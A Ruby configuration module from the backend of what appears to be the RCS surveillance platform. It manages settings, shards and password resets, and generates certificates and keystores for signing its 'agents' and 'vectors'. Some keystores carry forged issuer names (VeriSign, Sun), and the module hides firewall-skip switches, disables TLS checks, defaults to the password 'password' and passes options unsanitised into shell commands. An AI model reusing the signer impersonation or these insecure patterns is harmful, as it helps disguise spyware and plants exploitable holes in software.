hackedteam/rcs-db

View on GitHub
lib/rcs-db/config.rb

Summary

Maintainability
F
5 days
Test Coverage
#
#  Configuration parsing module
#

# from RCS::Common
require 'rcs-common/trace'

require_relative 'indexer'
require_relative 'migration'

# system
require 'yaml'
require 'pp'
require 'optparse'
require 'rbconfig'

module RCS
module DB

class Config
  include Singleton
  include Tracer

  CONF_DIR = 'config'
  CERT_DIR = CONF_DIR + '/certs'
  CONF_FILE = 'config.yaml'

  DEFAULT_CONFIG = {'CN' => '127.0.0.1',
                    'CA_PEM' => 'rcs.pem',
                    'DB_CERT' => 'rcs-db.crt',
                    'DB_KEY' => 'rcs-db.key',
                    'CERT_PASSWORD' => 'password',
                    'LISTENING_PORT' => 443,
                    'HB_INTERVAL' => 15,
                    'BACKUP_DIR' => 'backup',
                    'POSITION' => true,
                    'PERF' => false,
                    'SLOW' => 0,
                    'SHARD' => 'shard0000'}

  attr_reader :global

  $execution_directory ||= File.expand_path('../../../', __FILE__)

  def initialize
    @global = {}
  end

  def check_certs
    unless @global['DB_CERT'].nil?
      unless File.exist?(Config.instance.cert('DB_CERT'))
        trace :fatal, "Cannot open certificate file [#{@global['DB_CERT']}]"
        return false
      end
    end

    unless @global['DB_KEY'].nil?
      unless File.exist?(Config.instance.cert('DB_KEY'))
        trace :fatal, "Cannot open private key file [#{@global['DB_KEY']}]"
        return false
      end
    end

    unless @global['CA_PEM'].nil?
      unless File.exist?(Config.instance.cert('CA_PEM'))
        trace :fatal, "Cannot open PEM file [#{@global['CA_PEM']}]"
        return false
      end
    end

    return true
  end

  def load_from_file
    #trace :info, "Loading configuration file..."
    conf_file = File.join $execution_directory, CONF_DIR, CONF_FILE

    # load the config in the @global hash
    begin
      File.open(conf_file, "rb") do |f|
        @global = YAML.load(f.read)
      end
    rescue
      trace :fatal, "Cannot open config file [#{conf_file}]"
      return false
    end

    # to avoid problems with checks too frequent
    if @global['HB_INTERVAL'] and @global['HB_INTERVAL'] < 10
      trace :fatal, "Interval too short, please increase it"
      return false
    end

    if Config.instance.global['BACKUP_DIR'].nil?
      trace :fatal, "Backup dir not configured, please configure it"
      return false
    end

    # default password if not configured in the config file
    Config.instance.global['CERT_PASSWORD'] ||= 'password'

    return true
  end

  def temp_folder_name
    'temp'
  end

  def temp(name=nil)
    temp = File.join $execution_directory, temp_folder_name
    temp = File.join temp, name if name
    return temp
  end
  
  def file(name)
    return File.join $execution_directory, CONF_DIR, @global[name].nil? ? name : @global[name]
  end

  def cert(name)
    return File.join $execution_directory, CERT_DIR, @global[name].nil? ? name : @global[name]
  end

  def is_slow?(time)
    return false if @global['SLOW'].nil? || @global['SLOW'] == 0
    return time > @global['SLOW']
  end

  def save_to_file
    conf_file = File.join $execution_directory, CONF_DIR, CONF_FILE

    # Write the @global into a yaml file
    begin
      File.open(conf_file, "wb") do |f|
        f.write(@global.to_yaml)
      end
    rescue
      trace :fatal, "Cannot write config file [#{conf_file}]"
      return false
    end

    return true
  end

  def run(options)

    if options[:reset]
      reset_pass options
      return 0
    end

    $version = File.read(file('VERSION')).strip.split('-').first

    # migration
    return Migration.up_to $version if options[:migrate]

    return Migration.run [:cleanup_storage] if options[:cleanup]

    # keyword indexing
    return Indexer.run options[:kw_index] if options[:kw_index]

    # load the current config
    load_from_file

    if options[:add_skip_firewall_check]
      @global.merge!('SKIP_FIREWALL_CHECK' => true)
      save_to_file
      return 0
    end

    if options[:remove_skip_firewall_check]
      @global.reject! { |key| key == 'SKIP_FIREWALL_CHECK' }
      save_to_file
      return 0
    end

    if options[:get_cn]
      print @global['CN']
      return 0
    end

    if options[:shard]
      add_shard options
      return 0
    end

    trace :info, ""
    trace :info, "Previous configuration:"
    trace :info, PP.pp(@global, "")

    # use the default values
    if options[:defaults]
      @global = DEFAULT_CONFIG
    end

    # values taken from command line
    @global['CN'] = options[:cn] unless options[:cn].nil?
    @global['CA_PEM'] = options[:ca_pem] unless options[:ca_pem].nil?
    @global['DB_CERT'] = options[:db_cert] unless options[:db_cert].nil?
    @global['DB_KEY'] = options[:db_key] unless options[:db_key].nil?
    @global['CERT_PASSWORD'] = options[:pfx_pass] unless options[:pfx_pass].nil?
    @global['LISTENING_PORT'] = options[:port] unless options[:port].nil?
    @global['HB_INTERVAL'] = options[:hb_interval] unless options[:hb_interval].nil?
    @global['BACKUP_DIR'] = options[:backup] unless options[:backup].nil?
    @global['SMTP'] = options[:smtp] unless options[:smtp].nil?
    @global['SMTP_FROM'] = options[:smtp_from] unless options[:smtp_from].nil?
    @global['SMTP_USER'] = options[:smtp_user] unless options[:smtp_user].nil?
    @global['SMTP_PASS'] = options[:smtp_pass] unless options[:smtp_pass].nil?
    @global['SMTP_AUTH'] = options[:smtp_auth] unless options[:smtp_auth].nil?
    @global['SMTP_STARTTLS'] = options[:smtp_starttls] unless options[:smtp_starttls].nil?

    # changing the CN is a risky business :)
    if options[:newcn]
      # change the command line of the RCS Master Router service accordingly to the new CN
      change_router_service_parameter
      # change the address of the first shard in the mongodb
      change_first_shard_address
    end

    generate_certificates(options) if options[:gen_cert]
    generate_certificates_anon if options[:gen_cert_anon]

    generate_keystores if options[:gen_keystores]

    use_pfx_cert(options[:pfx_cert]) if options[:pfx_cert]
    use_pfx_winphone(options[:pfx_winphone]) if options[:pfx_winphone]
    use_aetx_winphone(options[:aetx_winphone]) if options[:aetx_winphone]

    if options[:shard_failure_add]
      shard, host = options[:shard_failure_add].split(':')
      Shard.add(shard, host)
      trace :info, "\n*** Please restart all the services.\n"
    end
    
    if options[:shard_failure_del]
      Shard.remove options[:shard_failure_del]
      trace :info, "\n*** Please restart all the services.\n"
    end
    
    trace :info, ""
    trace :info, "Current configuration:"
    trace :info, PP.pp(@global, "")

    # save the configuration
    save_to_file

    return 0
  end

  def self.read_password(message: "Enter password: ")
    require 'io/console'

    print(message)
    password = STDIN.noecho(&:gets)
    password = password[0..-2] if password.end_with?("\n")
    puts

    password
  end

  def reset_pass(options)
    parts = options[:reset].split(':')
    user, pass = parts[0], parts[1..-1].join(":")

    if pass.empty?
      pass = self.class.read_password(message: "Enter new password for user #{user.inspect}: ")
    end

    trace :info, "Resetting #{user.inspect} password..."

    http = Net::HTTP.new('127.0.0.1', options[:db_port] || 443)
    http.use_ssl = true
    http.open_timeout = 5
    http.verify_mode = OpenSSL::SSL::VERIFY_NONE

    resp = http.request_post('/auth/reset', {user: user, pass: pass}.to_json, nil)
    trace :info, "[#{resp.code}] #{resp.body}"
  end

  def add_shard(options)
    trace :info, "Adding this host as db shard..."

    http = Net::HTTP.new(options[:db_address] || '127.0.0.1', options[:db_port] || 443)
    http.use_ssl = true
    http.verify_mode = OpenSSL::SSL::VERIFY_NONE

    # login
    account = {:user => options[:user], :pass => options[:pass] }
    resp = http.request_post('/auth/login', account.to_json, nil)
    if resp['Set-Cookie'].nil?
      trace :fatal, "Invalid authentication"
      return
    else
      cookie = resp['Set-Cookie']
    end

    # send the request
    res = http.request_post('/shard/create', {host: options[:shard]}.to_json, {'Cookie' => cookie})
    trace :info, res.body
    shard = JSON.parse(res.body)

    @global['SHARD'] = shard['shardAdded']

    # save the configuration
    save_to_file

    # logout
    http.request_post('/auth/logout', nil, {'Cookie' => cookie})
  end

  def generate_certificates(options)
    trace :info, "Generating ssl certificates..."

    # ensure dir is present
    FileUtils.mkdir_p File.join($execution_directory, CERT_DIR)

    Dir.chdir File.join($execution_directory, CERT_DIR) do

      File.open('index.txt', 'wb+') { |f| f.write '' }
      File.open('serial.txt', 'wb+') { |f| f.write '01' }

      # to create the CA
      if options[:gen_ca] or !File.exist?('rcs-ca.crt')
        trace :info, "Generating a new CA authority..."
        # default one
        subj = "/CN=\"Root Certification Authority\"/O=\"ACME Corp\""
        # if specified...
        subj = "/CN=\"#{options[:ca_name]}\"" if options[:ca_name]
        out = `openssl req -subj #{subj} -batch -days 3650 -nodes -new -x509 -keyout rcs-ca.key -out rcs-ca.crt -config openssl.cnf 2>&1`
        trace :info, out if $log
      end

      raise("Missing file rcs-ca.crt") unless File.exist? 'rcs-ca.crt'

      trace :info, "Generating db certificate..."
      # the cert for the db server
      out = `openssl req -subj /CN=#{@global['CN']} -batch -days 3650 -nodes -new -keyout #{@global['DB_KEY']} -out rcs-db.csr -config openssl.cnf 2>&1`
      trace :info, out if $log

      raise("Missing file #{@global['DB_KEY']}") unless File.exist? @global['DB_KEY']

      trace :info, "Generating collector certificate..."
      # the cert used by the collectors
      out = `openssl req -subj /CN=collector -batch -days 3650 -nodes -new -keyout rcs-collector.key -out rcs-collector.csr -config openssl.cnf 2>&1`
      trace :info, out if $log

      raise("Missing file rcs-collector.key") unless File.exist? 'rcs-collector.key'

      trace :info, "Signing certificates..."
      # signing process
      out = `openssl ca -batch -days 3650 -out #{@global['DB_CERT']} -in rcs-db.csr -extensions server -config openssl.cnf 2>&1`
      trace :info, out if $log

      out = `openssl ca -batch -days 3650 -out rcs-collector.crt -in rcs-collector.csr -config openssl.cnf 2>&1`
      trace :info, out if $log

      raise("Missing file #{@global['DB_CERT']}") unless File.exist? @global['DB_CERT']

      trace :info, "Creating certificates bundles..."
      File.open(@global['DB_CERT'], 'ab+') {|f| f.write File.read('rcs-ca.crt')}

      # create the PEM file for all the collectors
      File.open(@global['CA_PEM'], 'wb+') do |f|
        f.write File.read('rcs-collector.crt')
        f.write File.read('rcs-collector.key')
        f.write File.read('rcs-ca.crt')
      end

      trace :info, "Removing temporary files..."
      # CA related files
      ['index.txt', 'index.txt.old', 'index.txt.attr', 'index.txt.attr.old', 'serial.txt', 'serial.txt.old'].each do |f|
        File.delete f
      end

      # intermediate certificate files
      ['01.pem', '02.pem', 'rcs-collector.csr', 'rcs-collector.crt', 'rcs-collector.key', 'rcs-db.csr'].each do |f|
        File.delete f
      end

    end
    trace :info, "done."
  end

  def generate_certificates_anon
    trace :info, "Generating anon ssl certificates..."

    # ensure dir is present
    FileUtils.mkdir_p File.join($execution_directory, CERT_DIR)

    Dir.chdir File.join($execution_directory, CERT_DIR) do

      File.open('index.txt', 'wb+') { |f| f.write '' }
      File.open('serial.txt', 'wb+') { |f| f.write '01' }

      trace :info, "Generating a new Anon CA authority..."
      subj = "/CN=\"#{SecureRandom.urlsafe_base64(20)[0..10]}\""
      out = `openssl req -subj #{subj} -batch -days 3650 -nodes -new -x509 -keyout rcs-anon-ca.key -out rcs-anon-ca.crt -config openssl.cnf 2>&1`
      trace :info, out if $log

      raise('Missing file rcs-anon-ca.crt') unless File.exist? 'rcs-anon-ca.crt'

      trace :info, "Generating anonymizer certificate..."
      subj = "/CN=\"#{SecureRandom.urlsafe_base64(20)[0..10]}\""
      out = `openssl req -subj #{subj} -batch -days 3650 -nodes -new -keyout rcs-anon.key -out rcs-anon.csr -config openssl.cnf 2>&1`
      trace :info, out if $log

      raise('Missing file rcs-anon.key') unless File.exist? 'rcs-anon.key'
      raise('Missing file rcs-anon.csr') unless File.exist? 'rcs-anon.csr'

      trace :info, "Signing certificates..."
      out = `openssl ca -batch -days 3650 -out rcs-anon.crt -in rcs-anon.csr -config openssl.cnf -name CA_network 2>&1`
      trace :info, out if $log

      raise('Missing file rcs-anon.crt') unless File.exist? 'rcs-anon.crt'

      trace :info, "Creating certificates bundles..."

      # create the PEM file for all the collectors
      File.open('rcs-network.pem', 'wb+') do |f|
        f.write File.read('rcs-anon.crt')
        f.write File.read('rcs-anon.key')
        f.write File.read('rcs-anon-ca.crt')
      end

      trace :info, "Removing temporary files..."
      # CA related files
      ['index.txt', 'index.txt.old', 'index.txt.attr', 'serial.txt', 'serial.txt.old', 'rcs-anon-ca.crt', 'rcs-anon-ca.key',].each do |f|
        File.delete f
      end

      # intermediate certificate files
      ['01.pem', 'rcs-anon.csr', 'rcs-anon.crt', 'rcs-anon.key'].each do |f|
        File.delete f
      end
    end
    trace :info, "done."
  end


  def generate_keystores
    trace :info, "Generating key stores for Java Applet..."
    FileUtils.rm_rf(Config.instance.cert('applet.keystore'))
    out = `keytool -genkey -alias signapplet -dname \"CN=VeriSign Inc., O=Default, C=US\" -validity 18250 -keystore #{Config.instance.cert('applet.keystore')} -keypass #{Config.instance.global['CERT_PASSWORD']} -storepass #{Config.instance.global['CERT_PASSWORD']} 2>&1`
    trace :info, out if $log

    trace :info, "Generating key stores for Android..."
    FileUtils.rm_rf(Config.instance.cert('android.keystore'))
    out = `keytool -genkey -dname \"cn=Server, ou=JavaSoft, o=Sun, c=US\" -alias ServiceCore -keystore #{Config.instance.cert('android.keystore')} -keyalg RSA -keysize 2048 -validity 18250 -keypass #{Config.instance.global['CERT_PASSWORD']} -storepass #{Config.instance.global['CERT_PASSWORD']} 2>&1`
    trace :info, out if $log
  end

  def use_pfx_cert(pfx)
    trace :info, "Using pfx cert for windows code signing..."
    FileUtils.cp pfx, Config.instance.cert("windows.pfx")

    trace :info, "Using pfx cert to create Java Applet keystore..."
    FileUtils.rm_rf(Config.instance.cert('applet.keystore'))
    out = `openssl pkcs12 -in #{pfx} -out pfx.pem -passin pass:#{Config.instance.global['CERT_PASSWORD']} -passout pass:#{Config.instance.global['CERT_PASSWORD']} -chain 2>&1`
    trace :info, out if $log

    out = `openssl pkcs12 -export -in pfx.pem -out pfx.p12 -name signapplet -passin pass:#{Config.instance.global['CERT_PASSWORD']} -passout pass:#{Config.instance.global['CERT_PASSWORD']} 2>&1`
    trace :info, out if $log

    out = `keytool -importkeystore -srckeystore pfx.p12 -destkeystore #{Config.instance.cert('applet.keystore')} -srcstoretype pkcs12 -deststoretype JKS -srcstorepass #{Config.instance.global['CERT_PASSWORD']} -deststorepass #{Config.instance.global['CERT_PASSWORD']} 2>&1`
    trace :info, out if $log

    trace :info, "Using pfx cert to create Android keystore..."
    FileUtils.rm_rf(Config.instance.cert('android.keystore'))
    out = `openssl pkcs12 -in #{pfx} -out pfx.pem -passin pass:#{Config.instance.global['CERT_PASSWORD']} -passout pass:#{Config.instance.global['CERT_PASSWORD']} -chain 2>&1`
    trace :info, out if $log

    out = `openssl pkcs12 -export -in pfx.pem -out pfx.p12 -name ServiceCore -passin pass:#{Config.instance.global['CERT_PASSWORD']} -passout pass:#{Config.instance.global['CERT_PASSWORD']} 2>&1`
    trace :info, out if $log

    out = `keytool -importkeystore -srckeystore pfx.p12 -destkeystore #{Config.instance.cert('android.keystore')} -srcstoretype pkcs12 -deststoretype JKS -srcstorepass #{Config.instance.global['CERT_PASSWORD']} -deststorepass #{Config.instance.global['CERT_PASSWORD']} 2>&1`
    trace :info, out if $log

    # remove temporary files
    ['pfx.pem', 'pfx.p12'].each do |f|
      File.delete f
    end
  end

  def use_pfx_winphone(pfx)
    trace :info, "Using pfx cert for windows phone code signing..."
    FileUtils.cp pfx, Config.instance.cert("winphone.pfx")
  end

  def use_aetx_winphone(aetx)
    trace :info, "Using aetx cert for windows phone code signing..."
    FileUtils.cp aetx, Config.instance.cert("winphone.aetx")
  end

  def change_router_service_parameter
    return unless RbConfig::CONFIG['host_os'] =~ /mingw/
    trace :info, "Changing the startup option of the Router Master"
    Win32::Registry::HKEY_LOCAL_MACHINE.open('SYSTEM\CurrentControlSet\services\RCSMasterRouter', Win32::Registry::Constants::KEY_ALL_ACCESS) do |reg|
      original_value = reg['ImagePath']
      new_value = original_value.gsub(/--configdb [^ ]*/, "--configdb #{@global['CN']}")
      reg['ImagePath'] = new_value
    end
  rescue Exception => e
    trace :fatal, "ERROR: Cannot write registry: #{e.message}"
  end

  def change_first_shard_address
    trace :info, "Changing the address of shard0000 to #{@global['CN']}"
    ret = Shard.update('shard0000', @global['CN'])
    trace :fatal, "Cannot update shard0000: #{ret['errmsg']}" if ret['ok'] != 1
    trace :info, "Remember to restart the Master services..."
  end

  def self.mongo_exec_path(file)
    # select the correct dir based upon the platform we are running on
    case RbConfig::CONFIG['host_os']
      when /darwin/
        os = 'macos'
        ext = ''
      when /mingw/
        os = 'win'
        ext = '.exe'
    end

    return $execution_directory + '/mongodb/' + os + '/' + file + ext
  end

  def self.file_path(file)
    return file if File.file?(file)
    return File.join($invocation_directory, file)
  end

  # executed from rcs-db-config
  def self.run!(*argv)
    # reopen the class and declare any empty trace method
    # if called from command line, we don't have the trace facility
    self.class_eval do
      def trace(level, message)
        puts message
        File.open(File.join($execution_directory, "log/rcs-db-config.log"), 'a') {|f| f.write "#{Time.now} [#{level}] #{message}\n"} if $log
      end
    end

    # This hash will hold all of the options parsed from the command-line by OptionParser.
    options = {}

    optparse = OptionParser.new do |opts|
      # Set a banner, displayed at the top of the help screen.
      opts.banner = "Usage: rcs-db-config [options]"

      opts.separator ""
      opts.separator "Application layer options:"
      opts.on( '-l', '--listen PORT', Integer, 'Listen on tcp/PORT' ) do |port|
        options[:port] = port
      end
      opts.on( '-b', '--db-heartbeat SEC', Integer, 'Time in seconds between two heartbeats' ) do |sec|
        options[:hb_interval] = sec
      end
      opts.on( '-n', '--CN CN', String, 'Common Name for the server' ) do |cn|
        options[:cn] = cn
      end
      opts.on( '--get-cn', 'Print the current CN for the master') do
        options[:get_cn] = true
      end
      opts.on( '-N', '--new-CN', 'Use this option to update the CN in the db and registry' ) do
        options[:newcn] = true
      end

      opts.separator ""
      opts.separator "Certificates options:"
      opts.on( '-G', '--generate-ca', 'Generate a new CA authority for SSL certificates' ) do
        options[:gen_ca] = true
      end
      opts.on( '-A', '--anon-ca NAME', String, 'Generate an anonymous CA (you specify the name)' ) do |name|
        options[:ca_name] = name
      end
      opts.on( '-g', '--generate-certs', 'Generate the SSL certificates needed by the system' ) do
        options[:gen_cert] = true
      end
      opts.on( '-a', '--generate-certs-anon', 'Generate the SSL certificates used by anonymizers' ) do
        options[:gen_cert_anon] = true
      end
      opts.on( '-c', '--ca-pem FILE', 'The certificate file (pem) of the issuing CA' ) do |file|
        options[:ca_pem] = file
      end
      opts.on( '-t', '--db-cert FILE', 'The certificate file (crt) used for ssl communication' ) do |file|
        options[:db_cert] = file
      end
      opts.on( '-k', '--db-key FILE', 'The certificate file (key) used for ssl communication' ) do |file|
        options[:db_key] = file
      end
      opts.on( '-K', '--generate-keystores', 'Generate new self-signed key stores used for building vectors' ) do
        options[:gen_keystores] = true
      end
      opts.on('--sign-pass PASSWORD', String, 'Password for all pfx certificate(s)' ) do |pass|
        options[:pfx_pass] = pass
      end
      opts.on('--sign-pfx FILE', String, 'Use this certificate (pfx) to sign the windows and android agents' ) do |file|
        options[:pfx_cert] = file_path(file)
      end
      opts.on('--sign-pfx-winphone FILE', String, 'Use this certificate (pfx) to sign the winphone agent' ) do |file|
        options[:pfx_winphone] = file_path(file)
      end
      opts.on('--sign-aetx-winphone FILE', String, 'Use this certificate (aetx) for winphone agent' ) do |file|
        options[:aetx_winphone] = file_path(file)
      end


      opts.separator ""
      opts.separator "Alerting options:"
      opts.on( '-M', '--mail-server HOST:PORT', String, 'Use this mail server to send the alerting mails' ) do |smtp|
        options[:smtp] = smtp
      end
      opts.on( '-f', '--mail-from EMAIL', String, 'Use this sender for alert emails' ) do |from|
        options[:smtp_from] = from
      end
      opts.on( '--mail-user USER', String, 'Use this username to authenticate alert emails' ) do |user|
        options[:smtp_user] = user
      end
      opts.on( '--mail-pass PASS', String, 'Use this password to authenticate alert emails' ) do |pass|
        options[:smtp_pass] = pass
      end
      opts.on( '--mail-auth TYPE', String, 'SMTP auth type: (plain, login or cram_md5)' ) do |auth|
        options[:smtp_auth] = auth
      end
      opts.on( '--mail-tls BOOL', String, 'SMTP STARTTLS (enabled or disabled)' ) do |tls|
        options[:smtp_starttls] = (tls.downcase.eql? 'true') ? true : false
      end

      opts.separator ""
      opts.separator "General options:"
      opts.on( '-X', '--defaults', 'Write a new config file with default values' ) do
        options[:defaults] = true
      end
      opts.on( '--add-skip-firewall-check', 'Add SKIP_FIREWALL_CHECK to the configuration params') do
        options[:add_skip_firewall_check] = true
      end
      opts.on( '--remove-skip-firewall-check', 'Remove SKIP_FIREWALL_CHECK from the configuration params' ) do
        options[:remove_skip_firewall_check] = true
      end
      opts.on( '-B', '--backup-dir DIR', String, 'The directory to be used for backups' ) do |dir|
        options[:backup] = dir
      end
      opts.on( '--index TARGET', String, 'Calculate the full text index for this target' ) do |target|
        options[:kw_index] = target
      end
      opts.on( '--migrate', 'Migrate data to the new version' ) do
        options[:migrate] = true
      end
      opts.on( '--log', 'Log all operation to a file' ) do
        $log = true
      end
      opts.on( '-h', '--help', 'Display this screen' ) do
        puts opts
        return 0
      end

      opts.separator ""
      opts.separator "Utilities:"
      opts.on( '-u', '--user USERNAME', 'rcs-db username' ) do |user|
        options[:user] = user
      end
      opts.on( '-p', '--password PASSWORD', 'rcs-db password' ) do |password|
        options[:pass] = password
      end
      opts.on( '-d', '--db-address HOSTNAME', 'Use the rcs-db at HOSTNAME' ) do |host|
        options[:db_address] = host
      end
      opts.on( '-P', '--db-port PORT', Integer, 'Connect to tcp/PORT on rcs-db' ) do |port|
        options[:db_port] = port
      end
      opts.on( '-R', '--reset-pass USERNAME', 'Reset password of USERNAME' ) do |pass|
        options[:reset] = pass
      end
      opts.on( '-S', '--add-shard ADDRESS', 'Add ADDRESS as a db shard (sys account required)' ) do |shard|
        options[:shard] = shard
      end
      opts.on( '-Z', '--remove-shard SHARD', 'Remove SHARD in case of failure.') do |shard|
        options[:shard_failure_del] = shard
      end
      opts.on( '-W', '--restore-shard SHARD:HOST', 'Restore SHARD after failure.') do |params|
        options[:shard_failure_add] = params
      end
      opts.on( '--cleanup', 'Cleanup the db by deleting dangling entries') do
        options[:cleanup] = true
      end
      opts.on("-h", "--help", "Display this help") do
        hidden_switches = ["--add-skip-firewall-check", "--remove-skip-firewall-check"]
        puts opts.to_s.split("\n").delete_if { |line| hidden_switches.find{|s| line =~ /#{s}/} }.join("\n")
        exit
      end
    end

    optparse.parse(argv)

    # execute the configurator
    return Config.instance.run(options)
  end

end #Config

end #DB::
end #RCS::